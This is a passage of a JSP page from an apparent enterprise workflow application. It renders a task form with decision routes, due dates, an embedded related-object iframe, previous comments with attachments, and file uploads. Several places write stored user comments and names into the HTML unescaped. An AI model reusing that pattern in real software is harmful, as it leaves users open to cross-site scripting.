    <td class="formFieldSmall"><html:text property='createDate' textOnly='true' size='5' maxlength='10'/></td>
  </tr>
  <!-- =========================== Decision Point Begin  =================================== -->
   <%if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowProgressForm.getActionType())) { %>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.decision'/>:&nbsp;</td>
 <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
<%
  //  This is added by Lun to quickly fix the bug 1054
  //  TODO: Should avoid DAO access
   String[][] workflowRouteArr = null;
   if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(maintWorkflowProgressForm.getActionType())) {
     WorkflowStepRouteDAObject stepRouteDAO = new WorkflowStepRouteDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
     List tmpList = stepRouteDAO.getListByWorkflowStepID(Integer.valueOf(maintWorkflowProgressForm.getWorkflowStepID()));
     workflowRouteArr = new String[tmpList.size()+1][];
     workflowRouteArr[0] = new String[] {MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one"), ""};
     for (int i=0; i<tmpList.size(); i++) {
       WorkflowStepRoute stepRoute = (WorkflowStepRoute) tmpList.get(i);
       workflowRouteArr[1+i] = new String[] {stepRoute.getRouteName(), WorkflowStep.PARENT_TYPE_SINGLE + stepRoute.getRouteSeq()};//simon_del
       //workflowRouteArr[1+i] = new String[] {stepRoute.getRouteName(), stepRoute.getRouteSeq().toString()};//simon_add
     }
   }
   request.setAttribute("workflowRouteList", workflowRouteArr);
   // End added by Lun
%>
    <td colspan="5" class="formFieldSmall">    
      <html:select property='decision'>
        <html:options stringArray='<%=(String[][])request.getAttribute("workflowRouteList")%>' convertLabel='false' hasSelect='false'/>
      </html:select>
    <input type="hidden" name="workflowRoute" value="">
    </td>
  <%}else{%>
  <td colspan="5" class="formFieldSmall">
  <html:text property='decisionView' value='<%=(String)request.getAttribute("wrokflowRouteValue")%>'/>
</td>
<%}%>
  </tr>
  <%}%>
  <!-- ===========================Decision Point End =================================== -->

  <!-- ===================Dynamic Assign Due Date For Next Step Begin======================== -->
  <input type="hidden" name="nextStepDueDateCount" value="<%=nextStepDueDateCount%>">
  <%
  	// Split "nextStepDueDates" into text array for further next step due date display.
  	String[] nextStepDueDateValues = null;
  	if (!Utility.isEmpty(maintWorkflowProgressForm.getNextStepDueDates())) {
  	  nextStepDueDateValues = TextUtility.splitString(maintWorkflowProgressForm.getNextStepDueDates(), ";");
  	}
  	String currentNextStepDueDate = null;
  	
    if( !GlobalConstant.NAV_MODE_VIEW.equals(maintWorkflowProgressForm.getNavMode()) &&
            (WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE.equals(maintWorkflowProgressForm.getNextStepAllowAssignDueDate()) ||
              WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(maintWorkflowProgressForm.getNextStepAllowAssignDueDate()) )
    ){
      if(maintWorkflowProgressForm.getNextStepDueDateCount() == 1) {
        if (!Utility.isEmpty(nextStepDueDateValues) && nextStepDueDateValues.length > 0) {
          currentNextStepDueDate = nextStepDueDateValues[0];
        }
        else {
          currentNextStepDueDate = "";
        }
  %>
  <tr>
    <td <%if(WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(maintWorkflowProgressForm.getNextStepAllowAssignDueDate()) ){%>class="formLabelSmallMan"<%}else{%>class="formLabelSmall"<%}%>><bean:message key='workflow.label.next_step_due_date'/>:&nbsp;</td>
    <td colspan="5" class="formFieldSmall"><html:datepicker property='<%="dueDate1"%>' time='true' value='<%=currentNextStepDueDate%>' />
    <%if(!Utility.isEmpty(maintWorkflowProgressForm.getNextStepDueDates())){%>
    <bean:message key='workflow.label.set_by'/>:&nbsp;&nbsp;<%=maintWorkflowProgressForm.getUpdaterName()%>
    <%}%></td>
  </tr>
  <%
    } else {  //  more than one step need to be assigned due date
     for (int j = 0; j < maintWorkflowProgressForm.getNextStepDueDateCount(); j++) {
     WorkflowStep wfStep = (WorkflowStep)dueDateStepList.get(j);
     
     if (!Utility.isEmpty(nextStepDueDateValues) && nextStepDueDateValues.length > j) {
       currentNextStepDueDate = nextStepDueDateValues[j];
     }
     else {
       currentNextStepDueDate = "";
     }
     
     if (j%2==0) { %>
    <tr>
  <%}%>
    <td <%if(WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(wfStep.getAllowAssignDueDate()) ){%>class="formLabelSmallMan"<%}else{%>class="formLabelSmall"<%}%>><a herf="#" onmouseover="return getPopupInfo('<%=wfStep.getStepSeq()+"."+wfStep.getStepName()%>');" onmouseout="return nd();"><bean:message key='workflow.label.step_n_due_date' arg0='<%=(new Integer(j+1)).toString()%>'/></a>:&nbsp;</td>
    <td <%if (j == maintWorkflowProgressForm.getNextStepDueDateCount()-1 && j%2 == 0) {%>colspan="5" class="formFieldSmall"<%} else {%>colspan="2" class="formFieldSmall"<%}%>><html:datepicker property='<%="dueDate" + (j+1)%>' time='true' value='<%=currentNextStepDueDate%>' />
  <%if (j%2==0) {%>
    </tr>
  <%  }
     }
    }%>
    <html:hidden property='nextStepDueDates'/>
    <%
    }else if(GlobalConstant.NAV_MODE_VIEW.equals(maintWorkflowProgressForm.getNavMode()) &&
                (WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_TRUE.equals(maintWorkflowProgressForm.getNextStepAllowAssignDueDate()) ||
                  WorkflowStep.DYNAMIC_ASSIGN_DUE_DATE_MANDATORY.equals(maintWorkflowProgressForm.getNextStepAllowAssignDueDate()) )
    ){
  %>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.next_step_due_date'/>:&nbsp;</td>
    <td colspan="5" class="formFieldSmall">
    <%if (!Utility.isEmpty(request.getAttribute("moreStepDueDates")) ) {%>
        <%=request.getAttribute("moreStepDueDates")%>
    <%}else{ %>
        <html:text property='nextStepDueDates'/>
    <%}%>  </td>
  </tr>
  <%
    }
  %>
  <!-- ==================Dynamic Assign Due Date For Next Step End   ======================== -->

  <!-- ==================Dynamic Assign Priority For Next Step Begin ======================== -->
  <%if(maintWorkflowProgressForm.isAssignPriorityRuleNextStep()){%>
  <script language="javascript">
  <!--
    function popupSetPriorityRule(idField){
      var height;
      var width;
      var windowName;

      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }

      height = 450;
      width = 700;
      windowName = "DCIVisionPopupSetPriorityRule";
      var frmObj = eval('frm.'+idField);

      OpenCenteredPopup("<%=request.getContextPath()%>/workflow/MaintWorkflowProgressPriorityRule.do?SHOW_HEADER_FOOTER=N&currentStepID=<%=maintWorkflowProgressForm.getWorkflowStepID()%>&priorityRuleListValue="+frm.priorityRuleListValue.value+"&formName="+frm.name+"&idField="+idField, windowName, width, height, "scrollbars=yes");
      return(false);

    }

    function setPriorityRule(formName,priorityRuleListValue) {
      frm = eval('document.forms["'+formName+'"]');
      frm.priorityRuleListValue.value = unescape(priorityRuleListValue);
      return false;

    }
  -->
  </script>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.setup_priority_rule_for_next_step'/>:&nbsp;</td>
    <td colspan="5" class="formFieldSmall">
      <a href="javascript://" onclick="return popupSetPriorityRule('priorityRuleListValue');"><html:img src='IconSearchStaff.gif' /></a>
      <html:hidden property='priorityRuleListValue'/>
    </td>
  </tr>
  <%}%>
  <!-- ==================Dynamic Assign Priority For Next Step End   ======================== -->


  <%if (bNextStepIsCheckIn.booleanValue() || maintWorkflowProgressForm.getSpecialFile()!=null) { %>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='workflow.label.check_in_document'/>:&nbsp;</td>
    <td colspan="5" class="formFieldSmall"><html:file property='specialFile' size='40'/></td>
  </tr>
  <%}%>

<%
  MtmWorkflowProgressSystemObjectDAObject progressObjDAO = new MtmWorkflowProgressSystemObjectDAObject(sessionContainer, (Connection)request.getAttribute(GlobalConstant.DB_KEY));
  List objectList = progressObjDAO.getListByTrackID(new Integer(maintWorkflowProgressForm.getTrackID()));
  String iframeURL = null;
  //if(!Utility.isEmpty(progressObj)){
  if(!Utility.isEmpty(objectList)) {

      /**
       * @TODO To get the MtmWorkflowProgressSystemObject by trackID & objectID or use the for cycle
       **/

      MtmWorkflowProgressSystemObject progressObj = null;
      if(!Utility.isEmpty(objectList)){
        progressObj = (MtmWorkflowProgressSystemObject)objectList.get(0);
      }
    
      JobDataMap dataMap = new JobDataMap( (Map)progressObj.getParameterObject() );
      Object workflowObj = dataMap.get("WORKFLOW_OBJECT");

      if (SystemWorkflowConstant.SUB_WORKFLOW_INTERRUPT.equals(categoryID)) {        
        WorkflowProgress parentProgress = (WorkflowProgress)dataMap.get("WORKFLOW_PROGRESS");
        WorkflowRecord wfRecord = (WorkflowRecord)recordDAO.getObjectByID(parentProgress.getWorkflowRecordID());
        com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq interruptReq = (com.dcivision.workflow.bean.MtmWorkflowTrackInterruptReq)workflowObj;
        WorkflowStep workflowStep = null;
        if (!MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
          workflowStep = (WorkflowStep)stepDAO.getObjectByID(interruptReq.getTargetStepID());
        }
        String interruptType = null;
        if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_ROLLBACK.equals(interruptReq.getInterruptType().toString())){
           interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_B");
        }
        if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_STOP.equals(interruptReq.getInterruptType().toString())){
          interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_stop");
        }
        if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_SKIP.equals(interruptReq.getInterruptType().toString())){
          interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_K");
        }
        if (MtmWorkflowTrackInterruptReq.INTERRUPT_TYPE_REVOKE.equals(interruptReq.getInterruptType().toString())){
          interruptType = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "workflow.label.step_status_V");
        }
//        iframeURL = "MaintWorkflowTask.do?SHOW_HEADER_FOOTER=N&navMode=WORKFLOW.TREE&trackID="+parentProgress.getTrackID()+"&ID="+parentProgress.getID()+"&workflowRecordID="+parentProgress.getWorkflowRecordID()+"&listView=Y";
        iframeURL = request.getContextPath()+"/workflow/PreviewWorkflowRecord.do?IN_IFRAME=" + GlobalConstant.TRUE + "&ID="+parentProgress.getWorkflowRecordID()+"&trackID="+parentProgress.getTrackID();

      }else if (SystemWorkflowConstant.FMB_SUBMISSION_BY_FORM.equals(categoryID)) {
        com.dcivision.form.bean.FormSubmission formSubmission = null;
        com.dcivision.form.bean.FormRecord formRecord = null;
        formSubmission = (com.dcivision.form.bean.FormSubmission)dataMap.get("WORKFLOW_OBJECT");

        MtmWfStepFormRecordDAObject stepFormRecordDAO = new MtmWfStepFormRecordDAObject(sessionContainer, conn);
        com.dcivision.form.dao.FormSubmissionDAObject formSubmissionDAO = new com.dcivision.form.dao.FormSubmissionDAObject(sessionContainer, conn);
        formRecord = (com.dcivision.form.bean.FormRecord)formDAO.getObjectByID(formSubmission.getFormRecordID());

        String isViewTask = "N";
        if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
          isViewTask = "Y";
        }
        
          //get the first form URL
          String formRecordID=null;//simon_add
          formRecordID=request.getParameter("formRecordID");//simon_add
					
          for(int i=0; i<objectList.size(); i++){
            MtmWorkflowProgressSystemObject tmpProgressObj = (MtmWorkflowProgressSystemObject)objectList.get(i);
            com.dcivision.form.bean.FormSubmission formSub = (com.dcivision.form.bean.FormSubmission)formSubmissionDAO.getObjectByID(tmpProgressObj.getObjectID() );

            if ( !WorkflowStep.ACTION_TYPE_SUBMIT.equals(maintWorkflowProgressForm.getActionType()) && Utility.isEmpty(stepFormRecordDAO.getOperateListByWorkflowStepIDFormRecordID(new Integer(maintWorkflowProgressForm.getWorkflowStepID()), formSub.getFormRecordID() )) ) {
              continue;
            }
						
            if (Utility.isEmpty(formRecord.getFormDocID()) || "null".equals(formRecord.getFormDocID()) ){
            	com.dcivision.form.core.FormSubmissionManager formManager = new com.dcivision.form.core.FormSubmissionManager(sessionContainer, conn) ;
				boolean isHideAllPages = formManager.isHideAllPages(formSub.getFormRecordID(),Integer.valueOf(maintWorkflowProgressForm.getWorkflowStepID()));
				boolean isShowWholeForm = "true".equals(request.getParameter("isShowWholeForm")) ? true : false;
				if(isHideAllPages&&!isShowWholeForm){
				  iframeURL = null;
				  break;
				}//add by tc for EIP-2082
            	//simon_add_S
            	if(formRecordID==null){
            		iframeURL = request.getContextPath() + "/form/MaintFormSubmission.do?navMode="+ maintWorkflowProgressForm.getNavMode() +"&formRecordID=" + formSub.getFormRecordID() + "&formSubmissionID=" + formSub.getID() + "&function=WORKFLOW&workflowStepID=" + maintWorkflowProgressForm.getWorkflowStepID() + "&progressID=" + maintWorkflowProgressForm.getID() + "&SHOW_HEADER_FOOTER=N&isViewTask=N&hideTitle=Y"+"&isShowIframeLoading=N";
            		break;
            	}
            	if(formRecordID!=null){
            		Integer IntFormRecordID=new Integer(formRecordID);
            		if(IntFormRecordID.equals(formSub.getFormRecordID())){
	            		iframeURL = request.getContextPath() + "/form/MaintFormSubmission.do?navMode="+ maintWorkflowProgressForm.getNavMode() +"&formRecordID=" + formSub.getFormRecordID() + "&formSubmissionID=" + formSub.getID() + "&function=WORKFLOW&workflowStepID=" + maintWorkflowProgressForm.getWorkflowStepID() + "&progressID=" + maintWorkflowProgressForm.getID() + "&SHOW_HEADER_FOOTER=N&isViewTask=N&hideTitle=Y"+"&isShowIframeLoading=N";
	            		break;
            		}
            	}
            	//simon_add_E
          	}
        	}     
      } else if (SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT.equals(categoryID) || SystemWorkflowConstant.DMS_CREATE_SCANNED_DOCUMENT.equals(categoryID)
        || SystemWorkflowConstant.DMS_CREATE_PUBLIC_UDF_DOCUMENT.equals(categoryID) || SystemWorkflowConstant.DMS_CREATE_SCANNED_UDF_DOCUMENT.equals(categoryID)
        || SystemWorkflowConstant.DMS_CHECKIN_PUBLIC_DOCUMENT.equals(categoryID) || SystemWorkflowConstant.DMS_CHECKIN_SCANNED_DOCUMENT.equals(categoryID)
        || SystemWorkflowConstant.DMS_CHECKIN_PUBLIC_UDF_DOCUMENT.equals(categoryID) || SystemWorkflowConstant.DMS_CHECKIN_SCANNED_UDF_DOCUMENT.equals(categoryID)
        || SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(categoryID) )
      {
        com.dcivision.dms.bean.DmsDocument document = (com.dcivision.dms.bean.DmsDocument) dataMap.get("WORKFLOW_OBJECT");
        com.dcivision.dms.core.DocumentRetrievalManager retrievalManager = new com.dcivision.dms.core.DocumentRetrievalManager(sessionContainer, conn);
        com.dcivision.dms.bean.DmsDocument rootFolder = null;
        if ( document.getRootID()!=null) {
          rootFolder = (com.dcivision.dms.bean.DmsDocument) retrievalManager.getRootFolderByRootID(document.getRootID());
        }
        //Bill add for EIP-2028 start
        DmsDocument tempDmsDocument=(DmsDocument)dmsDocumentDAO.getObjectByID(document.getID());
        if(Utility.isEmpty(tempDmsDocument)){
          iframeURL="";
        }else{
          iframeURL="../dms/MaintDmsDocumentVersion.do?documentType=D&rootID="+document.getRootID()+"&parentID="+document.getParentID()+"&sCurFunctionCode=WFM_TASK&navMode=P&ID="+document.getID()+"&isShowIframeLoading=N";
		}
		//Bill add for EIP-2028 end
      }
    }
%>
<tr>
  <td class="formLabelSmall"><bean:message key='workflow.label.related_to_object'/>:&nbsp;</td>
  <td class="formFieldSmall">
    <table cellpadding="0" cellspacing="0" border="0">
      <tr>
        <td>
        <wfm:relatedObjectInfo trackID="<%=Integer.valueOf(maintWorkflowProgressForm.getTrackID())%>" workflowProgress="<%=(WorkflowProgress)maintWorkflowProgressForm.getFormData()%>" relatedItem="false" styleClass="dataField" navMode='E' hasIframe="true" defaultFormRecordID='<%=defaultFormRecordID%>'/>
        </td>
        <td>
          &nbsp;
        </td>
        <td class="formFieldSmall">
        <%if(!Utility.isEmpty(iframeURL)){%>
        <span id="divFormSubmissionShow">
         [<a href="" onclick="showBlock('divFormSubmissionHide'); hideBlock('divFormSubmissionShow'); toggleBlock('formSubmission');return false" ><bean:message key ='calendar.label.hide'/></a>]
        </span>
        <span id="divFormSubmissionHide">
         [<a href="" onclick="hideBlock('divFormSubmissionHide'); showBlock('divFormSubmissionShow'); toggleBlock('formSubmission');return false" ><bean:message key ='calendar.label.show'/></a>]
         </span>
         <%}%>
         </td>
       </tr>
     </table>
  </td>
</tr>
<%if(!Utility.isEmpty(iframeURL)){ %>
<tr>
  <td colspan="6">
     <div id="formSubmission" style="border: 1px solid black;">
     <iframe name="iframeName" id="iframeName" src="<%=iframeURL%>" width="100%" height="325" frameborder="0" topmargin="0" leftmargin="0" rightmargin="0" marginwidth="0" marginheight="0"  align="middle" scrolling="no">
     </iframe>
     </div>
  </td>
 </tr>
<%}%>
<%//}%>
  <!-- Previouse Task Comment Begin -->
  <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.other_comment_attachment'/>:&nbsp;</td>
      <td colspan="5" class="formFieldSmall">
        <table cellspacing="1" cellpadding="1" border="0" width="100%">
        <%
           boolean hasComment = false;
           Integer progressID = null;
           for (int j=0; j<progressUserList.size(); j++) {
             MtmWorkflowProgressUserRecord progressUser = (MtmWorkflowProgressUserRecord) progressUserList.get(j);
             if (!progressUser.getWorkflowProgressID().equals(progressID) && hasComment) {
               hasComment = false;
               progressID = progressUser.getWorkflowProgressID();
        %>
          
        <%
             }
             if (!Utility.isEmpty(progressUser.getReason())) {
               hasComment = true;
               WorkflowStep wfStep = (WorkflowStep)stepDAO.getStepByWorkflowProgress( progressUser.getWorkflowProgressID() );
        %>
          <tr>
            <td>
            
        <table cellspacing="1" cellpadding="1" border="0" width="100%">
          <tr><td>

            <a href="#" onclick="toggleBlock('commentGeneral_<%=progressUser.getID()%>');toggleBlock('otherComment_<%=progressUser.getID()%>');" style="text-decoration:none">
             <table width="100%" cellpadding="0" cellspacing="1" border="0">
			 <tr>
			 <td valign="top">
             <table cellspacing="0" cellpadding="0" border="0" width="100%">
              <tr>
                <td align='left'>
                  <b><%=progressUser.getUpdaterName()%></b>&nbsp;<bean:message key='workflow.label.comment_at'/>&nbsp;[<%=wfStep.getStepName()%>]
                  <%=TextUtility.formatTimestamp(progressUser.getUpdateDate())%>
                </td>
              </tr>
              <%
                String reason=progressUser.getReason();
                int maxLengthOfLine=100;
                if(reason.length()>maxLengthOfLine){
              %>
                <tr>
                  <td>
                    <div id='commentGeneral_<%=progressUser.getID()%>'>
                      <I>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=reason.substring(0,maxLengthOfLine)%>...</I>
                    </div>
                  </td>
                </tr>
              <%}else{ %>
                <tr>
                  <td>
                    <div id='commentGeneral_<%=progressUser.getID()%>'>
                      <I>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=reason%></I>
                    </div>
                  </td>
                </tr>
              <%} %>
             </table></a>                         
            <div id='otherComment_<%=progressUser.getID()%>' style='display:none'>
             <I>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=TextUtility.br(progressUser.getReason())%></I>
            </div>
            <table>
              <tr>
              <%
                WorkflowProgressManager wfProgressManager = new WorkflowProgressManager(sessionContainer, conn);
                List attachList = wfProgressManager.getWorkflowProgressAttachmentListByMtmWorkflowProgressUserRecordID(progressUser.getID());
                for(int i=0;i<attachList.size();i++){
                  WorkflowProgressAttachment attachment = (WorkflowProgressAttachment)attachList.get(i);
                  if(WorkflowProgressAttachment.ATTACHED_DMS_VERSION_SYSTEM_ID.equals(attachment.getAttachmentType()) ){
                    String versionID = attachment.getExternalID();
                    DmsVersion dmsVersion = (DmsVersion)dmsVersionDAO.getObjectByID(new Integer(versionID));
                    Integer dmsDocumentID = dmsVersion.getDocumentID();
                    DmsDocument dmsDocument = (DmsDocument)dmsDocumentDAO.getObjectByID(dmsDocumentID);
                    String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getParentID());
              %>
                <td><dms:documentInfo docObject='<%=dmsDocument%>' permission='R' version='<%=versionID%>' linkFlag='false' inviteToRead = 'true' showIndexLayer='true'/></td>                             
                 <%} else if (!Utility.isEmpty(attachment.getExternalID())) {
                       if (attachment.getFlowType().equals("S")) { %>              
                         <td><a href="GetWorkflowProgressAttachmentServlet?ID=<%=attachment.getID()%>" target="_blank"><html:img src='IconFile.gif'  align='absmiddle' /><%= attachment.getAttachmentName() %></a></td>              
                    <% } else if (attachment.getFlowType().equals("N")) { %>              
                         <td><a href="GetWorkflowProgressAttachmentServlet?ID=<%=attachment.getID()%>" target="_blank"><html:img src='IconCamera.gif'  align='absmiddle' alt='<%= attachment.getAttachmentName() %>'/><%= attachment.getAttachmentName() %></a></td>              
                    <% }
                    } %>
                <%}%>
              </tr>
            </table>          
            </td></tr>
            </table>
          </td></tr>
        </table>        
           </td>
          </tr>
        <%
             }
           }
        %>
        </table>
      </td>
    </tr>
  <!-- Previouse Task Comment End -->
  <tr>  
    <td class="formLabelSmall"><bean:message key='workflow.label.progress_comment'/>:&nbsp;</td>
    <td colspan="5" class="formFieldSmall" style="word-break:break-all">
        <%
           for (int j=0; j<currentProgressUserList.size(); j++) {
             MtmWorkflowProgressUserRecord progressUser = (MtmWorkflowProgressUserRecord) currentProgressUserList.get(j);
             if (!Utility.isEmpty(progressUser.getReason()) && !progressUser.getUserRecordID().equals(sessionContainer.getUserRecordID())) {
        %>
        <table cellspacing="1" cellpadding="1" border="0" width="80%">
          <tr><td>
            <a href="#" onclick="toggleBlock('comment_<%=progressUser.getID()%>')" style="text-decoration:none">
             <table width="80%" cellpadding="0" cellspacing="1" border="0">
			 <tr>
			 <td class="formFieldSmall">
             <table cellspacing="0" cellpadding="0" border="0" width="100%">
              <tr>
			  <td align='left' width="30%">
                <html:img src='IconActionTaker.gif'  align='absmiddle'/><%=progressUser.getUpdaterName()%></td>
                <td align='left'>
                <html:summarizeContent key="<%=progressUser.getReason()%>" limitLength="20" />
                </td>
                <td align='right'>
                <%=TextUtility.formatTimestamp(progressUser.getUpdateDate())%>
              </td></tr>
             </table></a>
                         
            <div id='comment_<%=progressUser.getID()%>' style='display:none'>
             <I>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=TextUtility.br(progressUser.getReason())%></I>
            </div>
          
            </td></tr>
            </table>
          </td></tr>
        </table>
        <%
             }
           }
        %>
    <%
        
    //MtmWorkflowProgressSystemObject progressObj = (MtmWorkflowProgressSystemObject)progressObjDAO.getObjectByTrackID(new Integer(maintWorkflowProgressForm.getTrackID()));
    //if(!Utility.isEmpty(progressObj)){
    if(!Utility.isEmpty(objectList)){
    %>
      <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintWorkflowProgressForm.getNavMode())) { %>
        <%if(!Utility.isEmpty(maintWorkflowProgressForm.getReason())){%>
          <html:dynamicTextarea property="reason" value="<%=maintWorkflowProgressForm.getReason()%>" styleClass="form-style-2-auto-textarea" cols="78" rows="4" onkeydown="CheckTextArea(this, 2000);" onkeyup="CheckTextArea(this, 2000);" />
        <%}else{%>
          <html:dynamicTextarea property="reason" styleClass="form-style-2-auto-textarea" cols="78" rows="4" onkeydown="CheckTextArea(this, 2000);" onkeyup="CheckTextArea(this, 2000);" />
        <%}%>
      <%} else {%>
      <html:textarea property="reason" styleClass="form-style-2-auto-textarea" cols="78" rows="4"/>
      <%}%>
      </td>
    </tr>
    <%
    }else{
    %>
      <html:textarea property="reason" styleClass="form-style-2-auto-textarea" cols="78" rows="8" onkeydown="CheckTextArea(this, 2000);" onkeyup="CheckTextArea(this, 2000);"/>
    <%}%>
    </td>
  </tr>
  <!-- Suporrting Document -->
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.supporting_document'/>:&nbsp;</td>
    <td class="formFieldSmall" colspan="5" valign="middle">
    <% if ( sysFunction!=null && GlobalConstant.STATUS_ACTIVE.equals(sysFunction.getStatus()) ){
     String permissionStr = permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PERSONAL_FOLDER);
       permissionStr += permissionManager.getPermission(GlobalConstant.OBJECT_TYPE_FUNCTION,DMS_PUBLIC_FOLDER);
       if(!Utility.isEmpty(permissionStr) && permissionStr.indexOf("R") > -1 ){
    %>
    <wfm:attachment width="500" height="22" popW="550" popH="500" URL="/upload/ListLookupFromParaDoc.do?navMode=V&SHOW_HEADER_FOOTER=N"/>
    <%} else {%>
    <wfm:attachment width="500" height="22" popW="550" popH="500"
  URL="/upload/MaintMultipleFileUpload.do?SHOW_HEADER_FOOTER=N"/>
    <%}} else {%>
    <wfm:attachment width="500" height="22" popW="550" popH="500"
  URL="/upload/MaintMultipleFileUpload.do?SHOW_HEADER_FOOTER=N"/>
    <%}%>
    </td>
  </tr>
  </table>
  </div>
  <!-- ============== End of Task Tab =============== -->

  <!-- ============== Begin of Details Tab =============== -->
  <div id="DetailsTab" class="taskTabContent">
  <table width="100%">
  <tr>
     <td colspan="6" align="right">
       <bean:message key='common.label.priority'/>:
       <b><bean:message key='common.priority.label_1'/></b>&nbsp;&nbsp;
       <b><font color='red'>!</font></b>&nbsp;&nbsp;<b><bean:message key='common.priority.label_2'/></b>&nbsp;&nbsp;
       <b><font color='red'>!!</font></b>&nbsp;&nbsp;<b><bean:message key='common.priority.label_3'/></b>&nbsp;&nbsp;
     </td>
   </tr>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.workflow_code'/>:&nbsp;</td>
      <td colspan="2" class="formFieldSmall">
        <html:text property='workflowCode' textOnly='true' size='5' maxlength='10'/>
        (<bean:message key='workflow.label.workflow_version'/>:
         <html:text property='workflowVersion' textOnly='true' size='5' maxlength='10'/>)
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.step_name'/>:&nbsp;</td>
      <td colspan="2" class="formFieldSmall">
      <%
        if (GlobalConstant.PRIORITY_HIGH.equals(stepOfPriority) ) {
          %><b><font color='red'>!!</font></b><%
        } else if (GlobalConstant.PRIORITY_MEDIUM.equals(stepOfPriority)) {
          %><b><font color='red'>!</font></b><%
        }
      %>
        <%if (maintWorkflowProgressForm.getStepSeq().equals(WorkflowStep.END_STEP_SEQ_NO.toString())) {%>
          <html:hidden property='stepSeq'/> <html:img src='IconInfinity.gif' /> 
        <%} else {%>
          <html:text property='stepSeq' textOnly='true' size='5' maxlength='10'/>.
        <%}%> 
        <html:text property='stepName' textOnly='true' size='5' maxlength='10'/></td>
    </tr>
    <%
    WorkflowStep workflowStep = (WorkflowStep)stepDAO.getObjectByID(new Integer(maintWorkflowProgressForm.getWorkflowStepID()));
    if(workflowStep != null){
    %>
    <tr>
    	<td class="formLabelSmall"><bean:message key='workflow.label.workflow_rule'/>:&nbsp;</td>
        <td colspan="2" class="formFieldSmall">         
        	<b><%= workflowStep.getWorkflowRule() %> <bean:message key='workflow.label.rule_desc'/></b>           
        </td>
    </tr>
    <%}%>
    <tr>
      <td class="formLabelSmall"><bean:message key="workflow.label.status"/>:&nbsp;</td>
      <td colspan="2" class="formFieldSmall"><bean:message key='<%=("workflow.label.step_status_" + maintWorkflowProgressForm.getStatus())%>'/></td>
    </tr>
    <!-- Owner begin -->
    <%
      MtmWorkflowDynamicUserActorDAObject dynamicUserDAO = new MtmWorkflowDynamicUserActorDAObject(sessionContainer, conn);
      MtmWorkflowStepUserActorDAObject mtmWorkflowStepUserActorDAO = new MtmWorkflowStepUserActorDAObject(sessionContainer, conn);
      List actorList = mtmWorkflowStepUserActorDAO.getListByWorkflowStepID(new Integer(maintWorkflowProgressForm.getWorkflowStepID()) );
      List dynamicActorList = dynamicUserDAO.getListByWorkflowProgressID(new Integer(maintWorkflowProgressForm.getID()) );
    %>
    <tr>
      <td class="formLabelSmall"><bean:message key='workflow.label.assigned_to'/>:&nbsp;</td>
      <td colspan="2" class="formFieldSmall">
        <%if(!Utility.isEmpty(dynamicActorList)){%>
        <wfm:ownerInfo stepID="<%=new Integer(maintWorkflowProgressForm.getWorkflowStepID())%>" userActorList="<%=dynamicActorList%>" showEmail="true"/>
        <%}%>
      </td>
    </tr>
    <!-- Owner end   -->
  </table>   
    <!-- ============== Begin of ListView =============== -->

	  <div id="ListView" style="display:block;">
	    <table width="100%" style="border-bottom:1px solid black;">
	      <tr>
	        <td style="font-weight: bold;font-size: 14px;">
	          <bean:message key="workflow.label.workflow_routine_in_list_view"/>
	        </td>
	        <td colspan="2">
	          <div style="float:right;">
	            <html:standardButton label="workflow.label.show_in_flow_chart_view" onClick="hideBlock('ListView');showBlock('ChartView');"/>
	          </div>
	        </td>   
	      </tr>
	    </table>
	    <table>
	      <tr>
	        <td>
	          <jsp:include page="ShowWorkflowList.jsp">
	            <jsp:param name="workflowRecordID" value="<%=maintWorkflowProgressForm.getWorkflowRecordID()%>"/>
	            <jsp:param name="workflowProgressID" value="<%=maintWorkflowProgressForm.getID()%>"/>
	            <jsp:param name="trackID" value="<%=maintWorkflowProgressForm.getTrackID()%>"/>
	            <jsp:param name="isShow" value="N"/>
	          </jsp:include>
	        </td>
	      </tr>
	    </table>
	  </div>

	  <!-- ============== End of ListView =============== -->
	
	  <!-- ============== Begin of ChartView =============== -->

	  <div id="ChartView" style="display:none;">
	    <table width="100%" style="border-bottom:1px solid black;">
		  <tr>
